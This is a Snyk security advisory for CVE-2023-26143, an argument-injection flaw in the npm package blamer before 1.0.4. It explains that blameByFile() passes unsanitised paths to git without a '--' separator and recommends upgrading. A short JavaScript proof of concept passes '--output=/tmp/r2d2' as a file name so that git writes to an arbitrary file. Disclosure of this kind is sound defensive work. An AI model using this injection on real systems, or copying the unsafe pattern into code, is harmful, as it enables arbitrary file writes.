Arbitrary Argument Injection Affecting blamer package, versions <1.0.4
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-BLAMER-5731318
- published18 Sept 2023
- disclosed22 Jun 2023
- creditLiran Tal
Introduced: 22 Jun 2023
CVE-2023-26143 (opens in a new tab)How to fix?
Upgrade blamer to version 1.0.4 or higher.
Overview
blamer is a tool for get information about author of code from version control system. Supports git and subversion.
Affected versions of this package are vulnerable to Arbitrary Argument Injection via the blameByFile() API. The library does not sanitize for user input or validate the given file path conforms to a specific schema, nor does it properly pass command-line flags to the git binary using the double-dash POSIX characters (--) to communicate the end of options.
PoC
import Blamer from "blamer";
const blamer = new Blamer.default("git");
async function main() {
const file = "--output=/tmp/r2d2";
const result = await blamer.blameByFile(file);
console.log("Blame json: %j", result);
}
main();